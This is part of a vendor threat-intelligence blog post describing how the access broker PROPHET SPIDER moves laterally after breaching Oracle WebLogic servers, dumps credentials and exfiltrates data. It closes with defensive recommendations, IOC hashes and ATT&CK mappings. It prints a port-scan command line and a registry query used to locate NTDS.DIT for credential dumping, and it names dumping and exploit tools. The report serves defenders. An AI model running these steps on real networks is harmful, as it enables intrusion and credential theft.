<h3><span style="font-weight: 400">Lateral Movement</span></h3>
<p><span style="font-weight: 400">To enable </span><a href="https://www.crowdstrike.com/cybersecurity-101/lateral-movement/"><span style="font-weight: 400">lateral movement</span></a><span style="font-weight: 400">, the adversary uses </span><span style="font-weight: 400">ping</span><span style="font-weight: 400"> and </span><span style="font-weight: 400">nslookup</span><span style="font-weight: 400"> commands, in addition to scanning the environment for Windows systems listening on port 445. This is done using a simple port scanning binary unique to PROPHET SPIDER, typically named </span><strong>pscan</strong><span style="font-weight: 400"> or </span><strong>pscan2</strong><span style="font-weight: 400">. For example, process logging may reveal similar commands to the below. Note the commands are executed by the </span><strong>oracle</strong><span style="font-weight: 400"> user account, which is the user that runs WebLogic. In multiple PROPHET SPIDER cases, CrowdStrike observed a reverse shell binary located at </span><strong>/var/tmp/[filename]</strong><span style="font-weight: 400">, which launches </span><strong>bash</strong><span style="font-weight: 400"> as a child; and the </span><strong>pscan2</strong><span style="font-weight: 400"> command is a child to bash. The reverse shell is a child to PID 1, which indicates it was either executed via an init script created for persistence, or its parent was terminated causing it to become a zombie process that was reaped by the init daemon.</span></p>
<table class="orange">
<tbody>
<tr class="top-row bg-orange">
<td><strong>USER</strong></td>
<td><strong>PID</strong></td>
<td><strong>PPID</strong></td>
<td><strong>COMMAND</strong></td>
</tr>
<tr>
<td>oracle</td>
<td>4210</td>
<td>1</td>
<td>/var/tmp/[filename]</td>
</tr>
<tr>
<td>oracle</td>
<td>4211</td>
<td>4210</td>
<td>bash</td>
</tr>
<tr>
<td>oracle</td>
<td>5732</td>
<td>4211</td>
<td>./pscan2 10.10.20.0 10.10.20.255 445 &lt;output file&gt;</p>
<p>&nbsp;</td>
</tr>
</tbody>
</table>
<p><strong>Figure 7. Example process listing showing PROPHET SPIDER invoked processes running on a Linux system under the oracle account</strong></p>
<h3><span style="font-weight: 400">Anti-forensics Activity</span></h3>
<p><span style="font-weight: 400">PROPHET SPIDER commonly deletes their tools after use using </span><span style="font-weight: 400"><code>rm</code></span><span style="font-weight: 400">, clears the bash HISTFILE environment variable and has used a custom ELF binary for clearing logs on Linux devices. PROPHET SPIDER typically compresses SSH key information into 7-Zip or TAR archives. In contrast to many other actors using existing Remote Access Tool (RAT) C2 channels for exfiltration, PROPHET SPIDER uses File Transfer Protocol (FTP) or PSCP to exfiltrate archived key information.</span></p>
<h3><span style="font-weight: 400">Linux to Windows Transition</span></h3>
<p><span style="font-weight: 400">In some cases, PROPHET SPIDER initially compromises a Windows-based system. However, CrowdStrike has typically observed PROPHET SPIDER initially compromise a Linux system and then move into a victim’s Windows-based environment using compromised credentials via Telnet, SSH or SMB.</span></p>
<p><span style="font-weight: 400">In multiple cases, CrowdStrike observed PROPHET SPIDER leveraged a SOCKS proxy tool (typically named auditd) that allowed for lateral movement into the victim’s Windows environment without having to execute additional programs on the compromised Linux system. In some cases, PROPHET SPIDER deployed the WinExe tool, which allows a Linux system to execute commands remotely on a Windows system. CrowdStrike has observed multiple incidents where the WinExe binary was named wmhost.exe, and the service it created on remote systems to achieve execution was named wmhost. CrowdStrike has also observed PROPHET SPIDER execute a ZeroLogon (</span><a href="https://nvd.nist.gov/vuln/detail/cve-2020-1472"><span style="font-weight: 400">CVE-2020-1472</span></a><span style="font-weight: 400">) exploit binary from Linux targeting the victim’s Windows environment.</span></p>
<p><span style="font-weight: 400">Analysts should watch for a large number of failed logins, or anonymous logons, originating from the Linux system targeting Windows systems. Special attention should be paid to any legacy systems such as Windows Server 2003 that may exist in the environment, as these can be easier targets for initial lateral movement.</span></p>
<h2><span style="font-weight: 400">Windows Tactics</span></h2>
<p><span style="font-weight: 400">PROPHET SPIDER typically uses PowerShell to download Wget, typically downloading Wget to </span><span style="font-weight: 400"><code>C:\Windows\Temp\7fde\wget.bin</code></span><span style="font-weight: 400"> as the first post-compromise action on a Windows server running Oracle WebLogic. The adversary then uses Wget to download additional utilities such as </span><span style="font-weight: 400"><code>7zip</code> </span><span style="font-weight: 400">to</span><span style="font-weight: 400"> <code>C:\Windows\Temp\7fde\7z.bin</code></span><span style="font-weight: 400"> and additional malware, such as the GOTROJ backdoor, reverse shell binaries, or a SOCKS proxy tool. CrowdStrike has observed PROPHET SPIDER consistently use the directory </span><span style="font-weight: 400"><code>C:\Windows\Temp\7fde\</code> </span><span style="font-weight: 400">to store tools. The adversary commonly creates Windows services, e.g. </span><span style="font-weight: 400"><code>WindowsNTApp</code></span><span style="font-weight: 400"> for GOTROJ, to establish persistence for downloaded malware.</span></p>
<div id="attachment_42993" style="width: 1077px" class="wp-caption alignnone"><a href="/wp-content/uploads/2021/07/Screen-Shot-2021-07-07-at-12.47.19-PM.png" target="_blank" rel="noopener noreferrer"><img aria-describedby="caption-attachment-42993" loading="lazy" class="wp-image-42993 size-full" src="https://www.crowdstrike.com/wp-content/uploads/2021/07/Screen-Shot-2021-07-07-at-12.47.19-PM.png" alt="" width="1067" height="696" srcset="https://www.crowdstrike.com/wp-content/uploads/2021/07/Screen-Shot-2021-07-07-at-12.47.19-PM.png 1067w, https://www.crowdstrike.com/wp-content/uploads/2021/07/Screen-Shot-2021-07-07-at-12.47.19-PM-300x196.png 300w, https://www.crowdstrike.com/wp-content/uploads/2021/07/Screen-Shot-2021-07-07-at-12.47.19-PM-1024x668.png 1024w, https://www.crowdstrike.com/wp-content/uploads/2021/07/Screen-Shot-2021-07-07-at-12.47.19-PM-768x501.png 768w" sizes="(max-width: 1067px) 100vw, 1067px" /></a><p id="caption-attachment-42993" class="wp-caption-text">(Click to enlarge)</p></div>
<p><strong>Figure 8. Process tree resulting from PROPHET SPIDER targeting a Windows-based WebLogic server, highlighting their use of <code>wget.bin</code> and <code>7z.bin</code>.</strong></p>
<p><span style="font-weight: 400">In one case after initial access and persistence was gained through the use of a common JSP webshell, PROPHET SPIDER deployed a JSP SOCKS proxy known as </span><i><span style="font-weight: 400">reGeorg</span></i><span style="font-weight: 400"> to the external facing compromised Oracle WebLogic system. The adversary leveraged the proxy and the renamed WinExe binary to move laterally to other systems in the network and perform initial network and active directory reconnaissance. Analysts should look for source network workstation name mismatches in Windows authentications logs, as it was discovered the adversary’s workstation name was captured likely due to the use of the proxy.</span></p>
<h3><span style="font-weight: 400">Credential Access</span></h3>
<p><span style="font-weight: 400">On Windows, PROPHET SPIDER uses vssadmin.exe to obtain Security Account Manager (SAM) and system credential stores. The adversary has also deployed </span><em><span style="font-weight: 400">Mimikatz</span></em><span style="font-weight: 400"> binaries to dump credentials stored in system memory. PROPHET SPIDER consistently attempts to obtain NTDS.DIT, the active directory database, typically using vssadmin.exe for this purpose. To support credential dumping, PROPHET SPIDER uses</span></p>
<pre><code>reg query "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"</code></pre>
<p><span style="font-weight: 400">to identify where </span><span style="font-weight: 400"><code>NTDS.DIT</code></span><span style="font-weight: 400"> is located.</span></p>
<h3><span style="font-weight: 400">Data Staging and Exfiltration</span></h3>
<p><span style="font-weight: 400">After gaining access to victim domain controllers, the adversary rapidly introduces additional tooling (7zip, PSCP/FTP), harvests credential stores, compresses files and then exfiltrates them to a remote IP address using PSCP or FTP.</span></p>
<h2><span style="font-weight: 400">Access Broker and Handoff Tradecraft Observations</span></h2>
<p><span style="font-weight: 400">In at least two separate cases, PROPHET SPIDER infections have resulted in ransomware deployment, likely from separate adversary groups.</span></p>
<p><span style="font-weight: 400">In a 2020 campaign, PROPHET SPIDER did not immediately operationalize a breach of an Apache web server. Several months later, an unattributed adversary leveraged this access, conducting internal reconnaissance followed by </span><em><span style="font-weight: 400">Cobalt Strike</span></em><span style="font-weight: 400"> deployment, AD enumeration using </span><em><span style="font-weight: 400">AdFind</span></em><span style="font-weight: 400"> and exfiltration using </span><em><span style="font-weight: 400">WinSCP</span></em><span style="font-weight: 400">. This activity was followed by deployment of </span><em><span style="font-weight: 400">Egregor</span></em><span style="font-weight: 400"> ransomware across the environment, and victim data was later posted to the </span><em><span style="font-weight: 400">Egregor</span></em><span style="font-weight: 400"> dedicated leak site.</span></p>
<p><span style="font-weight: 400">In a 2021 campaign, two weeks after PROPHET SPIDER ceased interactive operations, an unattributed actor downloaded a </span><em><span style="font-weight: 400">Cobalt Strike</span></em><span style="font-weight: 400"> stager DLL from a remote IP address. When run with the argument </span><span style="font-weight: 400"><code>11985756</code></span><span style="font-weight: 400">, the DLL downloaded a </span><em><span style="font-weight: 400">Cobalt Strike</span></em><span style="font-weight: 400"> payload. The adversary used </span><em><span style="font-weight: 400">ADFind</span></em><span style="font-weight: 400"> to enumerate Active Directory, then moved laterally, using a compromised administrative account, and downloading additional </span><em><span style="font-weight: 400">Cobalt Strike Beacon</span></em><span style="font-weight: 400"> payloads onto some systems, or using </span><em><span style="font-weight: 400">PSExec</span></em><span style="font-weight: 400"> to run </span><em><span style="font-weight: 400">Cobalt Strike</span></em><span style="font-weight: 400">. The adversary further used </span><em><span style="font-weight: 400">PowerSploit</span></em><span style="font-weight: 400"> to enumerate the victim environment. Before deploying </span><a href="https://www.crowdstrike.com/cybersecurity-101/ransomware/"><span style="font-weight: 400">ransomware</span></a><span style="font-weight: 400">, the adversary staged data in ZIP archives and likely exfiltrated these archives. Batch scripts subsequently deployed </span><em><span style="font-weight: 400">MountLocker</span></em><span style="font-weight: 400"> across the victim environment.</span></p>
<p><span style="font-weight: 400">While there are multiple potential hypotheses for this activity, including PROPHET SPIDER operators deploying ransomware, CrowdStrike Intelligence assesses that the most likely explanation is that PROPHET SPIDER functioned as an access broker. PROPHET SPIDER likely granted access to </span><em><span style="font-weight: 400">Egregor</span></em><span style="font-weight: 400"> and </span><em><span style="font-weight: 400">MountLocker</span></em><span style="font-weight: 400"> operators respectively in exchange for payment.</span></p>
<p><span style="font-weight: 400">This assessment carries low confidence (see the end of this blog for an explanation of confidence rating), reflecting several factors:</span></p>
<ul>
<li style="font-weight: 400"><span style="font-weight: 400">No other </span><em><span style="font-weight: 400">Egregor</span></em><span style="font-weight: 400"> or </span><em><span style="font-weight: 400">MountLocker</span></em><span style="font-weight: 400"> cases involved PROPHET SPIDER TTPs or artifacts</span></li>
<li style="font-weight: 400"><span style="font-weight: 400">PROPHET SPIDER’s TTPs differ significantly from TTPs commonly observed in </span><em><span style="font-weight: 400">Egregor</span></em><span style="font-weight: 400"> and </span><em><span style="font-weight: 400">MountLocker</span></em><span style="font-weight: 400"> campaigns; for instance, PROPHET SPIDER does not normally use </span><em><span style="font-weight: 400">Cobalt Strike</span></em></li>
<li style="font-weight: 400"><span style="font-weight: 400">Many ransomware operators are known to purchase access to victims via access brokers</span></li>
</ul>
<h2><span style="font-weight: 400">Recommendations</span></h2>
<p><span style="font-weight: 400">The best defense against opportunistic attacks by access brokers such as PROPHET SPIDER is to ensure your externally facing servers are fully patched. However, preventative measures are not a silver bullet. Adversaries may be able to bypass even robust and secure perimeters using a variety of techniques. Therefore, </span><a href="https://www.crowdstrike.com/cybersecurity-101/threat-hunting/"><span style="font-weight: 400">proactive threat hunting</span></a><span style="font-weight: 400"> such as what </span><a href="https://www.crowdstrike.com/endpoint-security-products/falcon-overwatch-threat-hunting/"><span style="font-weight: 400">Falcon OverWatch</span></a><span style="font-weight: 400"> provides is also essential. When threat hunters are effectively scouring your network for even the most subtle clues of a potential adversary presence, they can quickly home in on unusual behaviors like the living-off-the-land discovery actions that PROPHET SPIDER commonly leverages when they initially gain access. In addition to hunting for unexpected reconnaissance, defenders should also monitor their environment for potentially malicious ingress tool transfer. To do so, continually monitor for unexpected processes retrieving files from external servers as well as uncommon network data flows. Lastly, defenders should hunt for malicious and/or anomalous use of legitimate tools, as legacy antivirus products typically will not block these tools because of their common and legitimate usage.</span></p>
<h2><span style="font-weight: 400">Indicators of Compromise</span></h2>
<table class="orange">
<tbody>
<tr class="top-row bg-orange">
<td><strong>Description</strong></td>
<td><strong>Hashes</strong></td>
</tr>
<tr>
<td>GOTROJ SHA256 hashes</td>
<td><code>2b03806939d1171f063ba8d14c3b10622edb5732e4f78dc4fe3eac98b56e5d46</code></p>
<p><code>55320dcb7e9e96d2723176c22483a81d47887c4c6ddf063dbf72b3bea5b279e3</code></p>
<p><code>57150938be45c4d9c742ab24c693acc14cc071d23b088a1facc2a7512af89414</code></p>
<p><code>9d42c2b6a10866842cbb6ab455ee2c3108e79fecbffb72eaf13f05215a826765</code></td>
</tr>
<tr>
<td>JSP Webshell SHA256 hashes</td>
<td><code>bb86dcfb6bca5fba8ab92d7a4ded9599baab400804c5fe5fb37aaef75f15e0ac</code></p>
<p><code>938804d619e2c7d2e3c31f1479574cbb8c85db14d3b5f0c70ccc22d4599f4ff7</code></td>
</tr>
</tbody>
</table>
<h2><span style="font-weight: 400">MITRE ATT&amp;CK® Observed Tactics</span></h2>
<table class="orange">
<tbody>
<tr class="top-row bg-orange">
<td><strong>Tactic</strong></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td>Reconnaissance</td>
<td>T1590: <a href="https://attack.mitre.org/techniques/T1590/">Gather Victim Network Information</a></p>
<p>T1595.002: <a href="https://attack.mitre.org/techniques/T1595/002/">Active Scanning: Vulnerability Scanning</a></td>
</tr>
<tr>
<td>Initial Access</td>
<td>T1190: <a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></td>
</tr>
<tr>
<td>Persistence</td>
<td>T1505.003: <a href="https://attack.mitre.org/techniques/T1505/003/">Server Software Component: Web Shell</a></td>
</tr>
<tr>
<td>Credential Access</td>
<td>T1003.003: <a href="https://attack.mitre.org/techniques/T1003/003/">OS Credential Dumping: NTDS</a></td>
</tr>
<tr>
<td>Lateral Movement</td>
<td>T1021: <a href="https://attack.mitre.org/techniques/T1021/">Remote Services</a></td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>T1070.003: <a href="https://attack.mitre.org/techniques/T1070/003/">Indicator Removal on Host: Clear Command History</a></td>
</tr>
</tbody>
</table>
<h2><span style="font-weight: 400">Explanation of Confidence Rating</span></h2>
<p><strong>High Confidence:</strong><span style="font-weight: 400"> Judgments are based on high-quality information from multiple sources.  High confidence in the quality and quantity of source information supporting a judgment does not imply that that assessment is an absolute certainty or fact. The judgment still has a marginal probability of being inaccurate.</span><span style="font-weight: 400"> </span></p>
<p><strong>Moderate Confidence:</strong><span style="font-weight: 400"> Judgments are based on information that is credibly sourced and plausible, but not of sufficient quantity or corroborated sufficiently to warrant a higher level of confidence.  This level of confidence is used to express that judgments carry an increased probability of being incorrect until more information is available or corroborated.</span><span style="font-weight: 400"> </span></p>
<p><strong>Low Confidence:</strong><span style="font-weight: 400"> Judgments are made where the credibility of the source is uncertain, the information is too fragmented or poorly corroborated enough to make solid analytic inferences, or the reliability of the source is untested.  Further information is needed for corroboration of the information or to fill known intelligence gaps.</span></p>
<h4><span style="font-weight: 400">Additional Resources</span></h4>
<ul>
<li><em>To learn more about how to incorporate intelligence on threat actors into your security strategy, visit the <a href="https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/premium/">Falcon X&#x2122; Premium Threat Intelligence page.</a></em></li>
<li><em>Visit the CrowdStrike website to learn more about <a href="https://www.crowdstrike.com/services/">CrowdStrike Services</a> and <a href="https://www.crowdstrike.com/endpoint-security-products/falcon-overwatch-threat-hunting/">Falcon OverWatch</a> offerings.</em></li>
<li><i><span style="font-weight: 400">Learn more on how </span></i><a href="https://store.crowdstrike.com/en-US/apps/352/falcon-spotlight#overview"><i><span style="font-weight: 400">Falcon Spotlight&#x2122;</span></i></a><i><span style="font-weight: 400"> can help you discover and manage vulnerabilities in your environments.</span></i></li>
<li><em><a href="https://go.crowdstrike.com/try-falcon-prevent.html">Get a full-featured free trial of CrowdStrike Falcon Prevent&#x2122; </a>and learn how true next-gen AV performs against today’s most sophisticated threats.</em></li>
</ul>
</div>
<style>
    .list-share-buttons{
        margin-bottom: 40px;
        margin-left: auto;
    }

    .share-button {
        float: left;
        color: #999;
        border: 1px solid #e4e4e4;
        text-align: center;
        transition: all 0.15s ease;
        margin-right: 5px;
        margin-bottom: 40px;
        margin-left: auto;
        font-size: 13px;
        padding: 0.5em 0.9em;
    }

    .tweet-btn{
        color: #999999;
    }
    .li-btn{
        color: #999999;
    }
    .tweet-btn:hover{
        color: #1DA1F2;
    }

    .li-btn:hover{
        color: #2867B2;
    }

    .fa{
        margin-right:5px;
    }

</style>
<div>
<ul class="list-share-buttons">

<li class="share-button">
<a class="tweet-btn " target="_blank" rel="noopener noreferrer" href="https://twitter.com/share?text=PROPHET+SPIDER+Exploits+Oracle+WebLogic+to+Facilitate+Ransomware+Activity&amp;url=https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/" onclick="if (!window.__cfRLUnblockHandlers) return false; window.open(this.href, '_blank', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600');" data-cf-modified-a004f7fedeab4a208d061683-="">
<span class="fa fa-twitter"></span>
<span>Tweet</span>
</a>
</li>

<li class="share-button">
<a class="li-btn" target="_blank" rel="noopener noreferrer" href="https://www.linkedin.com/shareArticle?mini=true&amp;url=https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/&amp;title=PROPHET+SPIDER+Exploits+Oracle+WebLogic+to+Facilitate+Ransomware+Activity" onclick="if (!window.__cfRLUnblockHandlers) return false; window.open(this.href, '_blank', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600');" data-cf-modified-a004f7fedeab4a208d061683-="">
<span class="fa fa-linkedin"></span>
<span>Share</span>
</a>
</li>
</ul>
</div>
<a href="https://go.crowdstrike.com/try-falcon-prevent.html">
<img class="post_cta" src="https://www.crowdstrike.com/wp-content/themes/main-theme/dist/images/blog/breaches-stop-here-post-cta.jpeg">
</a>
<h5>Related Content</h5>
<div class="row recent_articles">
<a class="col-12 col-md-4 recent_articles_item" href="https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/">
<div class="post_image">
<img src="https://www.crowdstrike.com/wp-content/uploads/2021/08/Blog_1060x698-11.jpeg" alt="">
</div>
<div class="post_info">
<h6>CARBON SPIDER Embraces Big Game Hunting, Part 1</h6>
<div class="excerpt">Throughout 2020, CARBON SPIDER dramatically overhauled their operations. In April 2020, the adversary abruptly shifted from narrow campaigns focused entirely on companies operating point-of-sale (POS) devices to broad, indiscriminate operations that attempted to infect very many victims across all sectors. The goal of these campaigns was to conduct big game hunting (BGH) operations using PINCHY [&hellip;]</div>
</div>
</a>
<a class="col-12 col-md-4 recent_articles_item" href="https://www.crowdstrike.com/blog/announcing-falcon-x-recon-plus/">
<div class="post_image">
<img src="https://www.crowdstrike.com/wp-content/uploads/2021/07/FalconX.jpeg" alt="">
</div>
<div class="post_info">
<h6>CrowdStrike Announces Falcon X Recon+ to Combat Cybercriminals</h6>
<div class="excerpt">Cybercriminals Are Raking in Billions Cybercrime is big business. Security industry analysts project annual global cybercrime damages to reach $6 trillion USD in 2021 (according to Cybersecurity Ventures, November 2020). It can disrupt your business, impact your company’s bottom line, tarnish your brand and lead to stiff regulatory fines and costly legal settlements. In February [&hellip;]</div>
</div>
</a>
<a class="col-12 col-md-4 recent_articles_item" href="https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/">
<div class="post_image">
<img src="https://www.crowdstrike.com/wp-content/uploads/2021/07/Blog_1060x698-1-1.jpeg" alt="">
</div>
<div class="post_info">
<h6>The Evolution of PINCHY SPIDER from GandCrab to REvil</h6>
<div class="excerpt">For years, ransomware was a nuisance that impacted individuals who were unfortunate enough to encounter it via banking trojans, exploit kits or phishing attacks and resulted in a large number of small-value ransoms — typically hundreds of dollars per incident. In 2016, a terrifying new model began to emerge fueled by reports of high-value ransom [&hellip;]</div>
</div>
</a>
</div>
</div>
<div class="col-12 col-lg-4 sidebar">
<div class="blog_subsection">
<div class="blog_section_subtitle">
<div class="title">Categories</div>
</div>
</div>
<div class="blog_featured_category_list" id="blog_category_sidebar_item"></div>
<div class="social">
<h6>Connect with Us</h6>
<div class="social_icons">
<a href="https://www.twitter.com/CrowdStrike"><span class="fa fa-twitter"></span></a>
<a href="https://www.facebook.com/CrowdStrike"><span class="fa fa-facebook"></span></a>
<a href="https://www.linkedin.com/company/crowdstrike"><span class="fa fa-linkedin"></span></a>
<a href="https://www.youtube.com/user/CrowdStrike"><span class="fa fa-youtube-play"></span></a>
<a href="https://www.crowdstrike.com/blog/feed"><span class="fa fa-rss"></span></a>
</div>
</div>
<a class="free_trial_sidebar" href="https://go.crowdstrike.com/try-falcon-prevent.html">
<img src="https://www.crowdstrike.com/wp-content/uploads/2021/07/breaches-stop-here.jpeg">
</a>
<div id="sideBarFeaturedArticles"></div>
<div class="subscribe_cta">
<h6>SUBSCRIBE</h6>
<p>Sign up now to receive the latest notifications and updates from CrowdStrike.</p>
<a class="button white-text white-outline white-text-hover dark-red-background-hover dark-red-outline-hover" data-behavior="modal" data-template-id="modal-42284" href="#">Sign Up</a>
</div>
<div class="demo_cta">
<img src="https://www.crowdstrike.com/wp-content/uploads/2021/07/red-falcon.svg">
<h6>See CrowdStrike Falcon in Action</h6>
<p>Detect, prevent, and respond to attacks— even malware-free intrusions—at any stage, with next-generation endpoint protection.</p>
<a class="button white-text red-background red-outline white-text-hover dark-red-background-hover dark-red-outline-hover" href="https://www.crowdstrike.com/see-demo/">See Demo</a>
</div>
</div>
</div>
<div class="post_nav row">
<div class="col-12">
<div class="links"><span class="fa fa-angle-double-left"></span> <a href="https://www.crowdstrike.com/blog/patch-tuesday-analysis-first-half-2021/" rel="prev">Diving Deep: Analyzing 2021 Patch Tuesday and Out-of-Band Vulnerability Disclosures</a></div>
<div class="links"><a href="https://www.crowdstrike.com/blog/how-falcon-complete-prevented-a-remote-code-execution-attack/" rel="next">Keep Your Tools Patched: Preventing Remote Code Execution with Falcon Complete</a> <span class="fa fa-angle-double-right"></span></div>
</div>
</div>
</div>
</article>
<section id="freeTrialCta" class="blog-free-trial-cta">
<div class="container">
<div class="row">
<div class="col-12">
<div class="content">
<h1 class="free-trial-header">TRY CROWDSTRIKE FREE FOR 15 DAYS</h1>
<a class="button white-text red-background red-outline white-text-hover dark-red-background-hover dark-red-outline-hover" id="freeTrialOpenTrigger" href="#">GET STARTED WITH A FREE TRIAL</a>
</div>
</div>
</div>
</div>
<div id="freeTrialContent" class="free-trial-content-wrapper unstuck" style="display: none;">
<div class="container">
<p class="free-trial-close textright white"><a class="free-trial-close-trigger red" id="freeTrialCloseTrigger">X</a></p>
</div>
<div class="container free-trial-iframe-wrapper">
<iframe id="footer-form-frame" height="490" width="800" src="https://go.crowdstrike.com/WF-Trial-to-Pay_LP-Registration-Footer.html" class=""></iframe>
</div>
</div>
</section>
<script type="a004f7fedeab4a208d061683-text/javascript">
    fetchInject([
        'https://www.crowdstrike.com/wp-content/themes/main-theme/dist/scripts/pages/blog.min.js',
    ])
</script> </main>
<footer class="simple">
<div class="container">
<div class="row">
<div class="col-md-12 top">
<span class="footer-logo"><a class="red" href="https://www.crowdstrike.com"><i class="cs-icon-cs-logo"> </i></a></span>
<ul class="row social-links">
<li class="circle-icon-outline">
<a href="https://twitter.com/CrowdStrike" target="_blank"><i class="fa fa-twitter"></i></a></li>
<li class="circle-icon-outline">
<a href="https://www.facebook.com/CrowdStrike/" target="_blank"><i class="fa fa-facebook"></i></a>
</li>
<li class="circle-icon-outline">
<a href="https://www.linkedin.com/company/crowdstrike" target="_blank"><i class="fa fa-linkedin"></i></a>
</li>
<li class="circle-icon-outline">
<a href="http://www.youtube.com/user/CrowdStrike" target="_blank"><i class="fa fa-youtube-play"></i></a>
</li>
</ul>
</div>
<div class="col-md-12 bottom">
<ul class="row footer-lower-links">
<li class="footer-copyright">Copyright © 2021 CrowdStrike</li>
<li><a href="https://www.crowdstrike.com/privacy-notice/">Privacy</a></li>
<li><a href="https://www.crowdstrike.com/request-information/">Request Info</a></li>
<li><a href="https://www.crowdstrike.com/blog">Blog</a></li>
<li><a href="https://www.crowdstrike.com/contact-us/">Contact Us</a></li>
<li>1.888.512.8906</li>
</ul>
</div>
</div>
</div>
</footer>
</div>
</div>
</div>
<script type="a004f7fedeab4a208d061683-text/javascript" async="async" src='https://www.crowdstrike.com/wp-content/themes/main-theme/dist/scripts/theme-scripts.min.js?ver=5.8' id='theme-scripts-js'></script>
<script src="/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js" data-cf-settings="a004f7fedeab4a208d061683-|49" defer=""></script></body>
</html>